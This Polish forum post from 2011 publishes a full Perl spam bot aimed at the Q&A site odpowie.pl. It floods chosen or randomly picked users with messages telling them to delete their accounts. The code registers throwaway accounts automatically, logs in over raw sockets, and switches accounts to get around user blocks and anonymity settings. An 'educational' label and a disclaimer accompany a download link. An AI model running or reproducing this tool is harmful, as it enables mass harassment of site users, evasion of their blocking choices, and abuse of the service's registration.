nforce17
Administrator
Dołączył: 05 Lis 2006
Posty: 388
Przeczytał: 0 tematów
Pomógł: 4 razy
Ostrzeżeń: 0/5
|
 Wysłany: Pon 16:28, 06 Cze 2011 Temat postu: Spamer odpowie.pl [Ver 0.1 FULL] |
|
|
| Kod: | # Program.: Spamer Odpowie.pl
# Wersja..: v 0.1 FULL
# Autor...: Nforce
# Data....: 06.06.2011
# Dzialasz: Na wlasna odp
# Cele....: Edukacyjne
use LWP::UserAgent;
use IO::Socket;
# Konfiguracja
my $sposob = 3; # Sposob Spamu. Wartosc "1" spamuje co chwila z innego konta, wartosc "2" spamuje z jednego loginu, "3" spamuje jako anonim
my $tresc = "Usun swoje konto szybko. Raz raz. Ale juz."; # Tresc spamu
my $ilosc = 1000; # Ilosc wyslanych wiadomosci
my $zapis_nick = 0; # jesli ustawimy wartosc 1 bedzie zapisywal zarejestrowane loginy do "login.txt"
my $ofiara = 0; # wartosc "0" ofiara/-y musza zostac wczytane z pliku profile.txt wartosc "1" ofiara zostanie wylosowana automatycznie
my $znak_login = 8; # Ilosc znakow w nicku
my $haslo = "dupa123"; # Haslo do rejestrowanych loginow
# Koniec konfiguracji
print "\t\t*\t\t->Spamer<-\t\t*\r\n\t\t*\t\t->Ver 0.1 FULL<-\t*\r\n\t\t*\t\t->Autor<-\t\t*\r\n\t\t*\t\t->Nforce<-\t\t*\r\n\r\n";
print "\t\tSprawdzam konfiguracje\r\n";
my $nick = ""; my $email = ""; my $cookie = ""; my $ten = 0; my $zwrot = ""; my $ile_j = 0; my $option = 0;
my @profile = ();
if ($ofiara == 1) {
my $losuj = LWP::UserAgent->new();
$losuj->agent("Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1");
my $res = $losuj->get("http://odpowie.pl");
if ($res->is_success) {
if ($res->decoded_content =~ /user=(.*)"><img/) {
$profile[0] = $1;
}
}
print "Wylosowana ofiara to: ". $profile[0] ."\r\n";
} else {
open (pf, "profile.txt") or die "Nie mozna odpalic pliku profile.txt: ". $! ."";
@profile = <pf>;
close (pf);
}
if ($sposob == 1) {
while ($ile_j <= $ilosc) {
regLogin();
LoginOn($nick, $haslo);
$zwrot = z_pytanie(1);
if ($zwrot == 1) { print "\t\tPytanie nr ". $ile_j ." zostalo zadane\r\n"; }
$ten++;
$ile_j++;
}
}
elsif ($sposob == 2) {
regLogin();
LoginOn($nick, $haslo);
while ($ile_j <= $ilosc) {
$zwrot = z_pytanie(1);
if ($zwrot == 1) { print "\t\tPytanie nr ". $ile_j ." zostalo zadane\r\n"; }
elsif ($zwrot =~ /zablokowanych/) { print "\t\tZostales dodany do listy zablokowanych ->\r\n\t\tNastapila automatyczna zmiana\r\n"; loginuregLogin(); LoginOn($nick, $haslo); }
$ten++;
$ile_j++;
}
} else {
while ($ile_j <= $ilosc) {
$zwrot = z_pytanie($option);
if ($zwrot =~ /zablokowanych/) { print "\t\tZostales dodany do listy zablokowanych ->\t\r\n\t\tNastapila automatyczna zmiana\r\n"; regLogin(); LoginOn($nick, $haslo); }
elsif ($zwrot =~ /zarejestruj/) { print "\t\tUzytkownik wylaczyl wiadomosci od anonimow\r\n\t\tprzechodze do automatycznej rejestracji i logowania\r\n"; regLogin(); LoginOn($nick, $haslo); $option = 1; }
else { print "\t\tPytanie zostalo zadane\r\n"; }
$ile_j++;
}
}
sub regLogin {
$nick = "";
my @login = ('a'..'z');
for (my $i = 0; $i <= $znak_login; $i++) {
$nick .= $login[int(rand(26))];
}
$email = "". $nick ."\@vp.pl";
print "\t\tRejestruje login: ". $nick ."\r\n";
my $reg = LWP::UserAgent->new();
$reg->agent("Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1");
$reg->default_header("Content-Type" => "application/x-www-form-urlencoded; charset=UTF-8");
$reg->default_header("X-Requested-With" => "XMLHttpRequest");
my $res = $reg->post("http://odpowie.pl/register.php", [ 'loginR' => "". $nick ."", 'passwordR' => "". $haslo ."", 'passwordR2' => "". $haslo ."", 'emailR' => "". $email ."", 'rules' => 'on']);
if ($res->is_success) {
}
if ($zapis_nick == 1) {
open (ZN, ">>login.txt") or die ("Nie mozna otworzyc pliku login.txt: ". $! ."");
print ZN "". $nick ."\r\n";
close (ZN);
}
print "\t\tZarejestrowano login: ". $nick ."\r\n";
}
sub LoginOn {
my ($nick, $pass) = @_;
my $msg = "redir=/&loginApp=". $nick ."&passwordApp=". $pass ."";
my $len = length($msg);
my $buffor = "";
my $log=new IO::Socket::INET(
PeerPort=>'80',
Proto=> 'tcp',
PeerAddr=>'188.165.195.77') or die "Nie mozna polaczyc do hosta 213.180.130.201\r\n!";
my $post = "POST /login.php HTTP/1.1\r\nTE: deflate,gzip;q=0.3\r\n";
$post .= "Host: odpowie.pl\r\n";
$post .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\r\n";
$post .= "Content-Length: ". $len ."\r\n";
$post .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$msg";
$log->send($post);
$log->recv($buffor,1024);
if ($log) {
if ($buffor =~ /Set-Cookie: (.*) expires/) {
$cookie = $1;
}
print "\t\tZalogowano sesja: ". $cookie ."\r\n";
} else {
print "Nie udalo sie zalogowac do portalu!\r\n";
}
my $index = LWP::UserAgent->new();
$index->agent("Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1");
$index->default_header("Cookie" => "". $cookie ."");
$res = $index->get("http://odpowie.pl/index.php");
if ($res->is_success) {
return $res->decoded_content;
}
}
sub z_pytanie {
my ($met) = @_;
if ($ten > $#profile) {
$ten = 0;
}
sleep(5);
my $new = LWP::UserAgent->new();
$new->agent("User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1");
$new->default_header("Content-Type" => "application/x-www-form-urlencoded; charset=UTF-8");
$new->default_header("X-Requested-With" => "XMLHttpRequest");
if ($met == 0) {
my $res = $new->post("http://odpowie.pl/ajax/ask.php", [ 'user' => $profile[$ten], 'question' => "". $tresc ." ". rand(int(10000)) .""]);
if ($res->is_success) {
return $res->decoded_content;
}
} else {
$new->default_header("Cookie" => "". $cookie ."");
my $res = $new->post("http://odpowie.pl/ajax/ask.php", [ 'user' => $profile[$ten], 'question' => "". $tresc ." ". rand(int(10000)) .""]);
if ($res-is_success) {
return $res->decoded_content;
}
}
} |
do profile.txt dodajemy profile ktore maja byc spamowane.
Nie ponosze odpowiedzialnosci za korzystanie
Pelny opis znajduje sie tu:
[link widoczny dla zalogowanych]
Download:
[link widoczny dla zalogowanych]
Post został pochwalony 0 razy
Ostatnio zmieniony przez nforce17 dnia Pon 16:28, 06 Cze 2011, w całości zmieniany 1 raz
|
|
